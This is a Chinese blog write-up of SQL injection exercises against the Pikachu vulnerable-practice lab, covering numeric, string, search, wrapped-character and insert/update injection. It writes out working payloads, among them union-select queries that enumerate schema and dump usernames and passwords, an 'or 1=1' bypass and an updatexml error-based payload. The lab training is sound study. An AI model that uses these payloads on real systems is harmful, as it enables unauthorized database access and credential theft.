一、pikachu之SQL注入(1)

一、SQL注入步骤

  • 寻找传参页面;
  • 判断是否存在注入点;
    • 字符型注入?
    • 数字型注入?
  • 判断字段的数量;
  • 判断字段回显的位置;
  • 查找数据库名、表名、字段名、字段内容;
  • 登录后台。

二、数字型注入(post注入)

(1)既然靶场提示是post注入,我们使用kali自带的burp进行抓包,可以看到数据包的消息主体部分就是与数据库进行交互的参数id;
在这里插入图片描述

(2)上一步已经找到传参页面,下一步就判断页面是否存在注入点;
判断注入点的方法有:
在这里插入图片描述

  这里,我们对参数id进行操作id=1' --+,页面报如下错误,说明该注入属于数字型注入:

在这里插入图片描述

(3)判断字段数量,order by命令,构造数据包的消息主体:id=4 order by 2 --+,经测试,表中字段只有两个:
在这里插入图片描述

注意:使用order by命令的时候,应该使4有效,不应该在4后面添加'。因为,后端在拼接id参数后,得到的SQL语句应该是:select * from id=4 order by 2 --+。如果表中没有相应的id值,order by命令也将不会执行。

三、字符型注入(get)

(1)寻找传参页面;

在这里插入图片描述

(2)判断是否存在sql注入漏洞,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述

页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。

(3)判断是数字型注入还是字符型注入,命令:http://192.168.92.1:8765/vul/sqli/sqli_str.php?name=1%27%20--+&submit=%E6%9F%A5%E8%AF%A2
在这里插入图片描述

在这里插入图片描述

由此,可知是字符型注入。

四、搜索型注入

(1)看到搜索框,肯定是含参页面,所以直接判断是否存在注入点。命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%27&submit=%E6%90%9C%E7%B4%A2

在这里插入图片描述

页面返回错误,则存在 Sql 注入。 原因是无论字符型还是整型都会因为单引号个数不匹配而报错。
同时可以看出,在构造SQL语句时,需要对%进行闭合。

(2)判断字段数,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' order by 3 --+&submit=搜索

只有order by前面的语句为真,order by才会正常执行。

在这里插入图片描述

经测试,字段数为3。

(3)判断回显点,命令http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,3 --+&submit=搜索
在这里插入图片描述
(4)判断数据库名,命令:http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,database() -- &submit=搜索

在这里插入图片描述

(5) 判断表名,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu') -- &submit=搜索

在这里插入图片描述

(6)查看字段名,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(column_name) from information_schema.columns where
table_schema='pikachu' and table_name='users') -- &submit=搜索

在这里插入图片描述

(7)查看字段内容,命令:

http://192.168.92.1:8765/vul/sqli/sqli_search.php?name=1%' union select 1,2,(select group_concat(concat(username,'%23',password)) from pikachu.users) -- &submit=搜索

在这里插入图片描述

五、XX型注入

  所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)。

(1)判断注入点,命令:http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1'&submit=搜索
在这里插入图片描述

在这里插入图片描述

根据报错,可得知:

  • 存在SQL注入;
  • 通过1\来判断需要闭合的符号,这里需要闭合)

(2)判断字段数,或者直接爆出表中的所有字段内容,使用命令:

http://192.168.92.1:8765/vul/sqli/sqli_x.php?name=1%27)%20or%201=1%20--+&submit=%E6%9F%A5%E8%AF%A2

在这里插入图片描述

六、“insert/updata”注入

前提:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端。

  在“insert/updata/delete”注入中,我们不能使用 union 去做联合查询,因为这不是查询,而是操作。

(1)在注册页面,用户名填',密码12,页面会有报错信息;
在这里插入图片描述
(2)我们知道后台使用的是 insert 语句,我们一般可以通过 or 进行闭合。注意value中的参数必须与字段个数一致。inser语法如下:
在这里插入图片描述

payload1' or updatexml('~',concat(0x7e,database()),1) or '。1后的单引号是在闭合前面的单引号,payload中最后一个单引号是在闭合后面的单引号。

在这里插入图片描述

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值